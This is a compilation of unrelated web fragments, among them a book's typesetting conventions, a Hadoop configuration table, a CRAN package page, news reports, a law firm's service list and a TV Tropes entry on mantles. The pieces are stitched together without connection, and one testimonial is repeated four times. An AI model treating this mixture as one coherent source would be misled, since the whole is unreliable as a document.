Computer-aided design
Economic Planning
Management accounting
Budgeting and planning
Salary
Contact Information
Site
Email
Phone
Password
Отправить
Сбросить


The following conventions are used in this book:
is used for statements and functions, identifiers, and program names.
is used for file and directory names when they appear in the body of a paragraph as well as for data types and to emphasize new terms and concepts when they are introduced.
Constant Width
is used in examples to show the contents of files or the output from commands.
Constant Bold
is used in examples to show command lines and options
that should be typed literally by the user. (For example,
rm foo
means to type "rm foo" exactly as it
appears in the text or the example.)
are used to identify a code fragment in explanatory text. System messages and symbols are quoted as well.
is the UNIX Bourne shell or Korn shell prompt.
surrounds optional elements in a description of program syntax. (The brackets themselves should never be typed, unless otherwise noted.)
stands for text (usually computer output) that's been omitted for clarity or to save space.
indicates a literal space. This symbol is used to make spaces visible in examples, as well as in the text.
indicates a literal TAB character. This symbol is used to make tabs visible in examples, as well as in the text.
The notation CTRL-X or ^X indicates use of control characters. It means hold down the "control" key while typing the character "x". We denote other keys similarly (e.g., RETURN indicates a carriage return). All examples of command lines are followed by a RETURN unless otherwise indicated.


org.apache.river.test.impl.norm
Interfaces
LeaseBackEnd
Classes
AddRenewRemoveTest
BaseOwner
BatchRenewTest
ConstrainableTestLease
ExpiredLeaseTest
FailingOwner
ForeverOwner
GetLeasesTest
LeaseBackEnd.RenewResults
LeaseBackEndImpl
LeaseExpirationTest
LeaseOwner
NormDestroyTest
NormLookupAttributeAdminTest
NormLookupGroupAdminTest
NormLookupLocatorAdminTest
OneExpireOneNotTest
OurAbstractLease
RemoveExactlyOneTest
RenewalFailureTest
RenewAtOwner
RenewAtTest
RenewingOwner
TestLease
ThreeArgFiniteOwner
TwoArgFiniteOwner
UseRenewalServiceLeaseRemoveTest
UseRenewalServiceLeaseTest


In order to encrypt some text + files, you'll need:
Once you fill up the required fields, click on "Encrypt and download"
If you need to generate public/private keys, click here.
Public key of recipient
Your private key for signing (optional)
Passphrase for your private key (optional)
Choose any number of files you want to add as attachments


Researcher in Smart Factory Lab.
UNIST Ulsan, KoreaBSR noise detection from car door trims using composite sensing information of acoustic emission and vibration.
- Worked with SEOYON E-HWA, RECTUSON and KIAT(PI)
- Surveyed on RSR noise characteristics of car door trim
- Identified key features from door trim noise
- Developed noise signal reference guide in frequency domain


The default solution for dealing with large amounts of data is server side paging.
This is not always supported and besides that it troubles the and the user because he needs
to flip pages with next and previous buttons, and filtering, sorting and grouping always
require server hits.
On the other hand, if the data is served in one go the user interface gets updated
after the entire dataset is loaded. By using streaming both problems are addressed.
Choose "Streaming" to see the data loaded and parsed as a stream in the browser. The parsed data is page by page added to the controller's scope.
Choose "No streaming" to see the same data read as one file and after the response has loaded added to the scope.


Welcome to the Rebar Plugins Tutorial.
Follow the links in the sidebar to your right in order to get to the
various articles in the series. You can also follow the blog, which is
regularly updated with progress of the series and various links to
source code and other goodies.


Itinerary:
- 1000 Eggslut in Grand Central Market
- 1030 McConnell's Icecream
- 1140 Angel's Flight
- 1220 Pershing Square to Metro Center/7th Street
- 1300 Heather at Philz on Hope/8th
- 1600 Lawyer Meeting in Wilshire/Normandie
- 1800 Stereoscope Coffee Co. with Mama
La Casa Verde used to be here...
Every time I go into Grand Central Market, a new stand has opened its doors to a crowd of angsty teens and raging hipsters. I'm guilty of being a part of this, too. After all, I'm a part of the frequently joked about "millenial" generation. I can't help but think about the people that establishments like "Eggslut" are displacing. (oh so clearly marketed at the Latino community that was previously inhabiting DTLA near Pershing Square). Gentrification is a real issue in DTLA and so many in their early 20's are unfazed because we're too busy taking care of our instagram aesthetic..
Mama Sim
Despite the legal trouble we've been going through, it's always nice to be in the nest you started out from. Love her, love the aesthetic, love Stereoscope.


Algebra Applets
Bubble Charts
Allows the user to create a list of values based on a function given. Also displays the graph of the function as points or as a connected graph
so that students understand the relationship between points and graphs. It can also find the difference between y-values which allows the user to get a concept of interpreting derivatives.
Domain and Range of Functions
Allows the user to visually see the relationship between a graph and its domain or range. You can enter any rectangular function in the form y = f(x),
any polar function in the form r = f(t), a parametric function in the form [x(t), y(t)], a point as [x, y], or an open circle as (x, y). Piecewise defined functions are also permitted - you can separate
multiple functions using semicolons, and you can restrict the domain of a function by entering a domain in the form (-2, 5], (-inf, 4), etc.
Horizontal and Vertical Line Test
Demonstrates the horizontal and vertical line tests for a graph to determine if a relation is a function or is a one-to-one function.
You can enter any rectangular function in the form y = f(x), any polar function in the form r = f(t), a parametric function in the form [x(t), y(t)], a point as [x, y], or an open circle as (x, y).
Piecewise defined functions are also permitted - you can separate multiple functions using semicolons, and you can restrict the domain of a function by entering a domain in the form
(-2, 5], (-inf, 4), etc.
Graphing Lines
Demonstrates the relationship between the equations and graphs of horizontal, vertical, and oblique lines.
Transformations of Functions
Demonstrates the effects of horizontal shifts, vertical shifts, and constant multipliers on the
basic elementary functions.
Graphs and Zeros of Polynomial Functions
Allows user to observe the effect on a polynomial graph each time a new zero is added to the polynomial. Zeros can be integer, rational, or complex.


Kiva extends its loan-giving ability through third parties such as microfinance institutions, schools, or social enterprises. Kiva fellows and partnership managers currently use a comprehensive excel tool to assess the financial compliance, health, and fairness of these third party organizations. However, this tool is difficult to use and understand, making it “universally hated” by Kiva employees and volunteers.
We worked with Kiva to create an intuitive web application that consists of three main features: creating a new loan, searching for a loan, and admin tools to manage and cleanly processes the critical inputs and outputs an accurate APR rate, repayment schedule, and loan payment visualization. The interface also allows for saving loans and pulling up previously saved loans to view, duplicate, or edit. The admin tools allows the overarching lists of approved Field Partners and Loan Themes are able to be modified.
David Chang
Product Manager
Megha Mallya
Tech Lead
Developers: Dean Lin, Roy Chiu, Angad Garg, Betty Shen, Alan Fang, Jamie Paterson


Regular records of your thoughts, opinions or experiences that you put on the internet for other people to read


Navigation
The <nav> element represents a section of a page whose purpose is to provide navigation links, either within the current document or to other documents. Common examples of navigation sections are menus, tables of contents, and indexes.
<nav> by Mozilla Contributors is licensed under CC-BY-SA 2.5.
According to the A11Y Style Guide, all navigation elements should be inside a <nav>
tag. Furthermore, menus should be labeled according to their individual function. The Delta Design System features a <nav>
in the <header>
and <footer>
and uses aria-labelledby="header-navigation"
and aria-labelledby="footer-navigation"
to provide context and improve accessibility.
Navigation Structure
In both the <header>
and <footer>
the <navigation>
is a simple <ul>
. However, the <header>
also includes a button for mobile to open and close the header navigation.
Note that we also have a Search molecule that can be added to your navigation.


Functions for convenient plotting and viewing of MCMC output.
| Version: | 0.4.3 |
| Depends: | coda (≥ 0.17.1) |
| Imports: | sfsmisc, colorspace, denstrip |
| Published: | 2018-06-22 |
| Author: | S. McKay Curtis [aut, cre], Ilya Goldin [ctb], Evangelos Evangelou [ctb], 'sumtxt' from GitHub [ctb] |
| Maintainer: | S. McKay Curtis <s.mckay.curtis at gmail.com> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| NeedsCompilation: | no |
| Materials: | NEWS |
| CRAN checks: | mcmcplots results |
| Reference manual: | mcmcplots.pdf |
| Package source: | mcmcplots_0.4.3.tar.gz |
| Windows binaries: | r-devel: mcmcplots_0.4.3.zip, r-release: mcmcplots_0.4.3.zip, r-oldrel: mcmcplots_0.4.3.zip |
| OS X binaries: | r-release: mcmcplots_0.4.3.tgz, r-oldrel: mcmcplots_0.4.3.tgz |
| Old sources: | mcmcplots archive |
| Reverse imports: | jarbes, tuts, upmfit |
| Reverse suggests: | ltbayes |
Please use the canonical form https://CRAN.R-project.org/package=mcmcplots to link to this page.


Fat Charlie Nancy is not having a good week. His estranged father recently dropped dead on a karaoke stage and has left Fat Charlie with much more than embarrassment. Because, you see, Charlie has discovered that his dad wasn't just any dad. He was Anansi the trickster spider-god. Anansi is the spirit of rebellion, able to overturn the social order, create wealth out of thin air, and even baffle the devil. No wonder Fat Charlie’s life is about to be turned upside down.
It begins, as most things begin, with a song. In the beginning, after all, were the words, and they came with a tune. That was how the world was made, how the void was divided, how the lands and the stars and the dreams and the little gods and the animals, how all of them came into the world.


Any lawsuit to adjust the land registers;
Any lawsuit to invalidate and register deeds;
Lawsuits to prevent the invasion of real estates and recover losses (Adequate pay);
Lawsuits on the demands related with ownership;
Lawsuits on pre-emption;
Lawsuits on partition;
Drafting construction agreements in return for flats;
Drafting preliminary agreements for sale;
Lawsuits on real estate due to reconstruction works;
Lawsuits on expropriation, urgent expropriation and confiscating without expropriating.
Claims for pecuniary and non-pecuniary damages due to the traffic accidents,
Claims for pecuniary and non-pecuniary damages due to the occupational accidents;
Lawsuits on malpractice (claims for damages due to wrong practices of doctors);
Claims for pecuniary and non-pecuniary damages due to wrongful acts;
Personal actions and claims for damages as envisaged in the agreements;
Personal actions and claims for damages due to the intellectual and industrial property rights.
Lawsuits on serious crimes;
Lawsuits before Criminal Court of First Instance;
Lawsuits on cybercrimes;
Advocating suspects or defendants during investigations and prosecutions;
Representing victims or plaintiffs.
Lawsuits on division of property in case of divorce, participation in relation to the division of property and claims for contributions;
Lawsuits for divorce and all alimony cases, claims for pecuniary and non-pecuniary damages;
Lawsuits to protect the family in accordance with law;
Lawsuits to establish paternity (denial of paternity, acknowledgement or bastardy process).
Declaratory lawsuits stemming from labor law;
Any lawsuits based on the rights and claims of the workers;
Claims for pecuniary and non-pecuniary damages due to the occupational accidents.
Consultancy services for incorporated and limited companies;
Acquisitions and mergers;
Commercial and competition law;
Drafting any kinds of trade agreements.
Drafting testaments and agreements on institution of heirs;
Drafting lifelong support agreements;
Any declaratory lawsuits, distribution and partition of records;
Actions for reduction;
Lawsuits for annulments against pre-arranged actions on inheritance law;
Lawsuits to request or disclaim inheritance.


Me
I like programming.
I like/do
- Typescript
- Javascript
- Dart
- Dark theme
- VSCode
- React Native
- RGB
- Back end stuff
- Front end stuff
- Mobile stuff
- Database stuff
Info
I like programming. Currently going through Computer Science, and I like doing random projects.
Some Pictures Yo
RGB
RGB?


Main Page
Data Structures
Files
Data Structures
Data Fields
_node Struct Reference
#include <
ip_anon.h
>
Data Fields
unsigned long int
index
unsigned long int
field_value
struct
_node
*
prox
Field Documentation
unsigned long int
_node::index
unsigned long int
_node::field_value
struct
_node
*
_node::prox
[read]
The documentation for this struct was generated from the following file:
/home/taron/GSOC/loganon/lib/include/loganon/
ip_anon.h
Generated on Sun Aug 15 18:40:24 2010 for Loganon by
1.5.3


It is a awesome place.
She is the most important person in my life!


Migrant shot and seriously wounded in Croatia
by The Associated PressZAGREB, Croatia — A Croatian hospital says a migrant is fighting for his life after being shot Friday by police.
Doctors in the Croatian port of Rijeka said Sunday the unidentified migrant suffered multiple bullet wounds to his chest.
Croatian police have said they fired shots at a group of migrants Friday “to protect Croatia’s borders.”
Police say they’ve sent a team to investigate the circumstances of the shooting, which took place at the Gorski Kotar mountains, about 30 kilometres (19 miles) from the border with Bosnia.
Rights groups have accused Croatian authorities of using excessive force against migrants illegally entering from Bosnia and Serbia. Croatia has repeatedly denied the charges.
Thousands of migrants from the Middle East, Africa and Asia have become stuck in the Balkans while trying to reach Western Europe.
The Associated Press


Warmly welcome to our company again
“ I have been a keen observer of how the digital realm has been flourishing in our neighbour countries and BD has shown some amazing progress over the years. I had previously made a list of the Digital Marketing agencies. ”
“ I have been a keen observer of how the digital realm has been flourishing in our neighbour countries and BD has shown some amazing progress over the years. I had previously made a list of the Digital Marketing agencies. ”
“ I have been a keen observer of how the digital realm has been flourishing in our neighbour countries and BD has shown some amazing progress over the years. I had previously made a list of the Digital Marketing agencies. ”
“ I have been a keen observer of how the digital realm has been flourishing in our neighbour countries and BD has shown some amazing progress over the years. I had previously made a list of the Digital Marketing agencies. ”
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Tournament debutant Tsitsipas overcomes Thiem in thriller to win ATP Finals title
Stefanos Tsitsipas and Dominic Thiem served up a classic at the O2 Arena and it was the Greek who came out on top.
by The42 TeamSTEFANOS TSITSIPAS EDGED a final-set tie-break in a classic battle with Dominic Thiem to claim the biggest title of his career and become the first Greek ATP Finals champion.
Tsitsipas and Thiem served up a thriller at the O2 Arena on Sunday and it was the 21-year-old tournament debutant who came out on top, prevailing 6-7 (6-8) 6-2 7-6 (7-4).
It took two hours and 35 minutes to settle an epic match that swung one way and the other, Thiem coming from 4-1 down in the decisive tie-break to get back on serve before Tsitsipas became the youngest winner of the competition since Lleyton Hewitt in 2001.
Tsitsipas struck 34 winners to two-time French Open runner-up Thiem’s 36 in a pulsating, high-quality final, ending the season on a high note in London.
There was evidence of nerves as both players held to love in their first service games and Thiem thwarted the sixth seed when he faced the first break point in the fourth game.
The two warriors were aggressive from the start, unleashing winner after winner off both wings and charging to the net with authority.
Tsitsipas and Thiem saved two break points apiece before the Austrian came out on top in a tie-break, an errant backhand costing the Athens native.
A sprightly Tsitsipas put that behind him by taking a firm grip of the second set, putting away a brilliant forehand winner after toying with Thiem to go a double break up at 3-0.
Tsitsipas was relentless, serving it out after making only one unforced error in a one-sided second set and Thiem disappeared off court to gather himself for the decider.
The momentum was with Tsitsipas, who showed no let-up as he piled huge pressure on Thiem, who saved two break points in the first game of the final set but was up against it at 2-1 down after drilling a backhand into the net.
Thiem was not done yet, drawing on his fighting spirit and class to get back on serve at 3-3 and it seemed almost inevitable another breaker would be required to split the two.
Tsitsipas stormed into a 4-1 advantage and although Thiem refused to accept defeat as he stormed back to level at 4-4, a couple of stray groundstrokes cost him as he was denied in a titanic tussle between the first-time finalists.
- Omni


| name | value | description |
| hadoop.tmp.dir | /tmp/hadoop-${user.name} | A base for other temporary directories. |
| hadoop.native.lib | true | Should native hadoop libraries, if present, be used. |
| hadoop.http.filter.initializers | | A comma separated list of class names. Each class in the list
must extend org.apache.hadoop.http.FilterInitializer. The corresponding
Filter will be initialized. Then, the Filter will be applied to all user
facing jsp and servlet web pages. The ordering of the list defines the
ordering of the filters. |
| hadoop.security.group.mapping | org.apache.hadoop.security.ShellBasedUnixGroupsMapping | Class for user to group mapping (get groups for a given user)
|
| hadoop.security.authorization | false | Is service-level authorization enabled? |
| hadoop.security.instrumentation.requires.admin | false |
Indicates if administrator ACLs are required to access
instrumentation servlets (JMX, METRICS, CONF, STACKS).
|
| hadoop.security.authentication | simple | Possible values are simple (no authentication), and kerberos
|
| hadoop.security.token.service.use_ip | true | Controls whether tokens always use IP addresses. DNS changes
will not be detected if this option is enabled. Existing client connections
that break will always reconnect to the IP of the original host. New clients
will connect to the host's new IP but fail to locate a token. Disabling
this option will allow existing and new clients to detect an IP change and
continue to locate the new host's token.
|
| hadoop.security.use-weak-http-crypto | false | If enabled, use KSSL to authenticate HTTP connections to the
NameNode. Due to a bug in JDK6, using KSSL requires one to configure
Kerberos tickets to use encryption types that are known to be
cryptographically weak. If disabled, SPNEGO will be used for HTTP
authentication, which supports stronger encryption types.
|
| hadoop.logfile.size | 10000000 | The max size of each log file |
| hadoop.logfile.count | 10 | The max number of log files |
| io.file.buffer.size | 4096 | The size of buffer for use in sequence files.
The size of this buffer should probably be a multiple of hardware
page size (4096 on Intel x86), and it determines how much data is
buffered during read and write operations. |
| io.bytes.per.checksum | 512 | The number of bytes per checksum. Must not be larger than
io.file.buffer.size. |
| io.skip.checksum.errors | false | If true, when a checksum error is encountered while
reading a sequence file, entries are skipped, instead of throwing an
exception. |
| io.compression.codecs | org.apache.hadoop.io.compress.DefaultCodec,org.apache.hadoop.io.compress.GzipCodec,org.apache.hadoop.io.compress.BZip2Codec,org.apache.hadoop.io.compress.SnappyCodec | A list of the compression codec classes that can be used
for compression/decompression. |
| io.serializations | org.apache.hadoop.io.serializer.WritableSerialization | A list of serialization classes that can be used for
obtaining serializers and deserializers. |
| fs.default.name | file:/// | The name of the default file system. A URI whose
scheme and authority determine the FileSystem implementation. The
uri's scheme determines the config property (fs.SCHEME.impl) naming
the FileSystem implementation class. The uri's authority is used to
determine the host, port, etc. for a filesystem. |
| fs.trash.interval | 0 | Number of minutes between trash checkpoints.
If zero, the trash feature is disabled.
|
| fs.file.impl | org.apache.hadoop.fs.LocalFileSystem | The FileSystem for file: uris. |
| fs.hdfs.impl | org.apache.hadoop.hdfs.DistributedFileSystem | The FileSystem for hdfs: uris. |
| fs.s3.impl | org.apache.hadoop.fs.s3.S3FileSystem | The FileSystem for s3: uris. |
| fs.s3n.impl | org.apache.hadoop.fs.s3native.NativeS3FileSystem | The FileSystem for s3n: (Native S3) uris. |
| fs.kfs.impl | org.apache.hadoop.fs.kfs.KosmosFileSystem | The FileSystem for kfs: uris. |
| fs.hftp.impl | org.apache.hadoop.hdfs.HftpFileSystem | |
| fs.hsftp.impl | org.apache.hadoop.hdfs.HsftpFileSystem | |
| fs.webhdfs.impl | org.apache.hadoop.hdfs.web.WebHdfsFileSystem | |
| fs.ftp.impl | org.apache.hadoop.fs.ftp.FTPFileSystem | The FileSystem for ftp: uris. |
| fs.ramfs.impl | org.apache.hadoop.fs.InMemoryFileSystem | The FileSystem for ramfs: uris. |
| fs.har.impl | org.apache.hadoop.fs.HarFileSystem | The filesystem for Hadoop archives. |
| fs.har.impl.disable.cache | true | Don't cache 'har' filesystem instances. |
| fs.checkpoint.dir | ${hadoop.tmp.dir}/dfs/namesecondary | Determines where on the local filesystem the DFS secondary
name node should store the temporary images to merge.
If this is a comma-delimited list of directories then the image is
replicated in all of the directories for redundancy.
|
| fs.checkpoint.edits.dir | ${fs.checkpoint.dir} | Determines where on the local filesystem the DFS secondary
name node should store the temporary edits to merge.
If this is a comma-delimited list of directoires then teh edits is
replicated in all of the directoires for redundancy.
Default value is same as fs.checkpoint.dir
|
| fs.checkpoint.period | 3600 | The number of seconds between two periodic checkpoints.
|
| fs.checkpoint.size | 67108864 | The size of the current edit log (in bytes) that triggers
a periodic checkpoint even if the fs.checkpoint.period hasn't expired.
|
| fs.s3.block.size | 67108864 | Block size to use when writing files to S3. |
| fs.s3.buffer.dir | ${hadoop.tmp.dir}/s3 | Determines where on the local filesystem the S3 filesystem
should store files before sending them to S3
(or after retrieving them from S3).
|
| fs.s3.maxRetries | 4 | The maximum number of retries for reading or writing files to S3,
before we signal failure to the application.
|
| fs.s3.sleepTimeSeconds | 10 | The number of seconds to sleep between each S3 retry.
|
| local.cache.size |<PHONE_NUMBER>0 | The limit on the size of cache you want to keep, set by default
to 10GB. This will act as a soft limit on the cache directory for out of band data.
|
| io.seqfile.compress.blocksize | 1000000 | The minimum block size for compression in block compressed
SequenceFiles.
|
| io.seqfile.lazydecompress | true | Should values of block-compressed SequenceFiles be decompressed
only when necessary.
|
| io.seqfile.sorter.recordlimit | 1000000 | The limit on number of records to be kept in memory in a spill
in SequenceFiles.Sorter
|
| io.mapfile.bloom.size | 1048576 | The size of BloomFilter-s used in BloomMapFile. Each time this many
keys is appended the next BloomFilter will be created (inside a DynamicBloomFilter).
Larger values minimize the number of filters, which slightly increases the performance,
but may waste too much space if the total number of keys is usually much smaller
than this number.
|
| io.mapfile.bloom.error.rate | 0.005 | The rate of false positives in BloomFilter-s used in BloomMapFile.
As this value decreases, the size of BloomFilter-s increases exponentially. This
value is the probability of encountering false positives (default is 0.5%).
|
| hadoop.util.hash.type | murmur | The default implementation of Hash. Currently this can take one of the
two values: 'murmur' to select MurmurHash and 'jenkins' to select JenkinsHash.
|
| ipc.client.idlethreshold | 4000 | Defines the threshold number of connections after which
connections will be inspected for idleness.
|
| ipc.client.kill.max | 10 | Defines the maximum number of clients to disconnect in one go.
|
| ipc.client.connection.maxidletime | 10000 | The maximum time in msec after which a client will bring down the
connection to the server.
|
| ipc.client.connect.max.retries | 10 | Indicates the number of retries a client will make to establish
a server connection.
|
| ipc.server.listen.queue.size | 128 | Indicates the length of the listen queue for servers accepting
client connections.
|
| ipc.server.tcpnodelay | false | Turn on/off Nagle's algorithm for the TCP socket connection on
the server. Setting to true disables the algorithm and may decrease latency
with a cost of more/smaller packets.
|
| ipc.client.tcpnodelay | false | Turn on/off Nagle's algorithm for the TCP socket connection on
the client. Setting to true disables the algorithm and may decrease latency
with a cost of more/smaller packets.
|
| webinterface.private.actions | false | If set to true, the web interfaces of JT and NN may contain
actions, such as kill job, delete file, etc., that should
not be exposed to public. Enable this option if the interfaces
are only reachable by those who have the right authorization.
|
| hadoop.rpc.socket.factory.class.default | org.apache.hadoop.net.StandardSocketFactory | Default SocketFactory to use. This parameter is expected to be
formatted as "package.FactoryClassName".
|
| hadoop.rpc.socket.factory.class.ClientProtocol | | SocketFactory to use to connect to a DFS. If null or empty, use
hadoop.rpc.socket.class.default. This socket factory is also used by
DFSClient to create sockets to DataNodes.
|
| hadoop.socks.server | | Address (host:port) of the SOCKS server to be used by the
SocksSocketFactory.
|
| topology.node.switch.mapping.impl | org.apache.hadoop.net.ScriptBasedMapping | The default implementation of the DNSToSwitchMapping. It
invokes a script specified in topology.script.file.name to resolve
node names. If the value for topology.script.file.name is not set, the
default value of DEFAULT_RACK is returned for all node names.
|
| net.topology.impl | org.apache.hadoop.net.NetworkTopology | The default implementation of NetworkTopology which is classic three layer one.
|
| topology.script.file.name | | The script name that should be invoked to resolve DNS names to
NetworkTopology names. Example: the script would take host.foo.bar as an
argument, and return /rack1 as the output.
|
| topology.script.number.args | 100 | The max number of args that the script configured with
topology.script.file.name should be run with. Each arg is an
IP address.
|
| hadoop.security.uid.cache.secs | 14400 | NativeIO maintains a cache from UID to UserName. This is
the timeout for an entry in that cache. |
| hadoop.http.authentication.type | simple |
Defines authentication used for Oozie HTTP endpoint.
Supported values are: simple | kerberos | #AUTHENTICATION_HANDLER_CLASSNAME#
|
| hadoop.http.authentication.token.validity | 36000 |
Indicates how long (in seconds) an authentication token is valid before it has
to be renewed.
|
| hadoop.http.authentication.signature.secret.file | ${user.home}/hadoop-http-auth-signature-secret |
The signature secret for signing the authentication tokens.
If not set a random secret is generated at startup time.
The same secret should be used for JT/NN/DN/TT configurations.
|
| hadoop.http.authentication.cookie.domain | |
The domain to use for the HTTP cookie that stores the authentication token.
In order to authentiation to work correctly across all Hadoop nodes web-consoles
the domain must be correctly set.
IMPORTANT: when using IP addresses, browsers ignore cookies with domain settings.
For this setting to work properly all nodes in the cluster must be configured
to generate URLs with hostname.domain names on it.
|
| hadoop.http.authentication.simple.anonymous.allowed | true |
Indicates if anonymous requests are allowed when using 'simple' authentication.
|
| hadoop.http.authentication.kerberos.principal | HTTP/localhost@LOCALHOST |
Indicates the Kerberos principal to be used for HTTP endpoint.
The principal MUST start with 'HTTP/' as per Kerberos HTTP SPNEGO specification.
|
| hadoop.http.authentication.kerberos.keytab | ${user.home}/hadoop.keytab |
Location of the keytab file with the credentials for the principal.
Referring to the same keytab file Oozie uses for its Kerberos credentials for Hadoop.
|
| hadoop.relaxed.worker.version.check | false |
By default datanodes refuse to connect to namenodes if their build
revision (svn revision) do not match, and tasktrackers refuse to
connect to jobtrackers if their build version (version, revision,
user, and source checksum) do not match. This option changes the
behavior of hadoop workers to only check for a version match (eg
"1.0.2") but ignore the other build fields (revision, user, and
source checksum).
|
| hadoop.skip.worker.version.check | false |
By default datanodes refuse to connect to namenodes if their build
revision (svn revision) do not match, and tasktrackers refuse to
connect to jobtrackers if their build version (version, revision,
user, and source checksum) do not match. This option changes the
behavior of hadoop workers to skip doing a version check at all.
This option supersedes the 'hadoop.relaxed.worker.version.check'
option.
|
| hadoop.jetty.logs.serve.aliases | true |
Enable/Disable aliases serving from jetty
|
| ipc.client.fallback-to-simple-auth-allowed | false |
When a client is configured to attempt a secure connection, but attempts to
connect to an insecure server, that server may instruct the client to
switch to SASL SIMPLE (unsecure) authentication. This setting controls
whether or not the client will accept this instruction from the server.
When false (the default), the client will not allow the fallback to SIMPLE
authentication, and will abort the connection.
|


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Minecord
A lightweight but powerful Minecraft Discord bot.
Featuring recipe lookup, server pings, player profiles, skin renders, and more!
A lightweight but powerful Minecraft Discord bot.
Featuring recipe lookup, server pings, player profiles, skin renders, and more!


A cloak that goes all the way around the body like a tube, with only a single slit down the front to permit mobility. It will sometimes exceed the wearer's height and have a significant portion dragging on the floor, although it usually cuts off at precisely floor level.
Often worn by characters of great power and authority, this particular garment tends to make the wearer seem more mysterious because others cannot tell what his or her body looks like under all the cloth when it is closed. Normal capes may sometimes be drawn as mantles for dramatic effect.
Occasionally, two-bit characters may wear such mantles in order to "feel big", but Rule of Funny dictates that they will suffer from all the disadvantages that such an item would have in Real Life (such as tripping, catching on stuff, sheer weight, etc). Bonus points if they actually "borrow" one from someone who deserves to wear it.
This type of mantle sometimes comes with an attached hood in order to cover the head as well as the body. Ladies wearing a mantle and nothing else are an uncommon form of Fanservice. Compare with the less encompassing Badass Longrobe.
Examples:
- Il Palazzo from Excel Saga was initially drawn like this, but as time went on his mantle stopped being tubed-shaped and became more like a traditional cape.
- Ko-Enshaku, from Giant Robo, pulls this look off.  One of the gag-OVAs explores this, showing him winning a drinking contest because the drinks go straight through him.
- The scientists from Fantastic Children wore these at one point.
- Tsubasa -RESERVoir CHRoNiCLE-: Syaoran has/had a rather over-long ragged-edged one◊ as part of his clothes when he started out on that insane journey.
- Rather common among members of the Guild in Last Exile.
- Boogiepop Phantom: Boogiepop wears one of these, with matching Nice Hat.
- Fakir wears one of these (complete with hood and a mask) in episode 8 of Princess Tutu.
- Slayers: Rezo the Red Priest wears this complete with Shoulders of Doom.
- Folken sports this in The Vision of Escaflowne
- Also, Zaibach Guymelefs have cloaks that can be wrapped around the body like this to serve as a literal Invisibility Cloak.
- Bleach: Kurosaki Ichigo's Skywalker Cloak was like this.
- The standard outfit for most characters in Silent Möbius.
- The Torumekians/Tolmekians in Nausicaä of the Valley of the Wind have this sort of cape, with a rather nifty-looking metal shoulderpiece.
- In the case of the princess, this also helps cover up her missing limbs.
- Occurred in Dragon Ball Z, first with Piccolo, then with Gohan, who was imitating Piccolo.
- Zero in Code Geass has one. Of course, since he is a ham, it was probably chosen purely for dramatic effect.
- The Knights of Rounds in R2 have something between a cape and one of these.
- Happened a lot with the Juraians in Tenchi Muyo!.
- Both Raoh and Souther in Fist of the North Star wear this, being conquerors and all.
- Guts from Berserk uses this, along with a hood.
- As does Void of the Godhand. ...it's probably for the best.
- Grand Convoy of Beast Wars Neo IS one of these. Seriously. His body is NEVER shown, just the mantle.
- Rurouni Kenshin: Kenshin's master wears such a mantle — it doubles as an identifying feature of a legitimate heir of the Hiten Mitsuryuu sword style and its weighted springs help the wearer develop the physique necessary to pull off the style's high-flying moves without undue harm to the body. Amusingly, Kenshin himself can't even stand in it. The not-so-amusing implications this has for his body result in him having to abandon the style by the end of the series.
- In Mobile Fighter G Gundam:
- More than half the time Domon Kasshu is outside of his Gundam, he's wearing his red mantle. In the finale, it's even shown that he keeps it in his cockpit during battle when he catches Rain as she shoots through the air naked and wraps her up in it. It then magically turns into a dress.
- The Master Gundam can turn its wings into a large imposing cloak. However, it seems to only use it during dramatic moments, as it looks like it could not move properly with it on.
- In Mobile Suit Gundam Wing: Endless Waltz, Sandrock Custom has an armored mantle that attaches to the shoulders via extra armor; we only see it used as a re-entry shield, Quatre ejecting it shortly after he arrives on Earth (presumably to keep it from hampering Sandrock's movement).
- Mobile Suit Crossbone Gundam's eponymous Caped Mecha justifies this: they have mantles that are specially treated to resist damage from Energy Weapons, giving them a cheap and energy-efficient form of defense.
- In Getter Robo Armageddon, Getter-1 and Black Getter's Getter Wing doubles as this as it will tend to wrap it around itself.
- The Cure Mantles of Heart Catch Pretty Cure certainly count - long, flowing capes that enable the heroines of the series to fly (even into outer space!). And with one exception, they're all the Weasel Mascot partners.
- The main villain of the anime Battle Royal High School wore a all-encompassing blue cloak... and nothing else.
- J Sawaragi in Battle Spirits Shonen Toppa Bashin wears one. The way it drapes over him makes it look near impractical.
- Fumikage 'Tsukuyomi' Tokoyami, the bird-headed student in My Hero Academia wears one that allows his Living Shadow superpower a dark place to stay, as it becomes weaker and more timid in bright light.
- Tsuna's box weapon in Katekyō Hitman Reborn! can transform into one that is derived from Vongola Primo's own mantle that protects him from attacks. And it makes him look cool the first time he shows it.
- Batman's cape and cowl◊ join together to create this look; he flips the cape out of the way when he needs to use his arms and lets it drape for effect.
- They had to give Bats a shoulder-fastened cape in the movies to accommodate the fight choreography; it's easy to make it this and stay where you want it to if it's drawn on paper, but it gets in the way during live-action fighting.
- One of the many Batman: The Dark Knight Returns parodies of the '80s had Alfred ask "Shall I fetch the posing cape, or the fighting cape sir?" as a lampshade.
- After taking up the Red Robin name Tim adopts a cowl and larger cape, in order to make it a glider cape, which can wrap around him when drawn closed.
- Batman villain Anarky's debut costume had such a cloak, partly to hide that he was a 13-year-old boy wearing prosthetic to appear taller.
- Cloak of Cloak & Dagger, complete with hood. When it wasn't encompassing people whole into a pocket dimension of darkness, it wafted around him looking menacing and dramatic.
- Bron and Mai Shen wear them in Scion.
- Spawn's cloak often wraps around his body, with the tattered hem functioning as Combat Tentacles. A more justified example than normal in that the cloak is alive, and can arrange itself to look menacing, or keep itself out of the way for action.
- Black Panther uses his cape (a formal add-on that he doesn't always include with his outfit) as a makeshift parachute, then gets asked by NYPD Sgt. Tork "How do you even move in that thing?" His reply: "Like this," after which he touches the clasp, causing the cloak to retract to shoulder mantle length.
- Hotel Transylvania: Drac does this frequently with his cape when he wants to look menacing. Later in the movie, Mavis makes one for herself as well.
- Star Wars:
- The Empire gives these to higher-ups such as Imperial Guards and of course, Darth Vader himself.
- One Imperial Guard who got his own set of comics, Kir Kanos, tended to throw his overrobe back so it was more of a cape, showing off his armor.
- General Grievous has it in his culture to wear these. He makes his bodyguards wear them, too.
- The Dark Knight lampshades the comic book behavior of Batman's cape by introducing memory fabric that can extend, retract, stiffen or relax in response to electrical stimuli. The material was supposedly intended for making high-end wingsuits but ended up being too expensive to be marketable.
- The Cloak Of Invisibility from the Harry Potter series could cover the wearer's entire body and was also rather large.
- In the Sci-Fi channel's version of Dune, the Spacing Guild representatives wear purple velvet-ish capes. However, these just keep going up and up into giant purple velvet-ish cones.
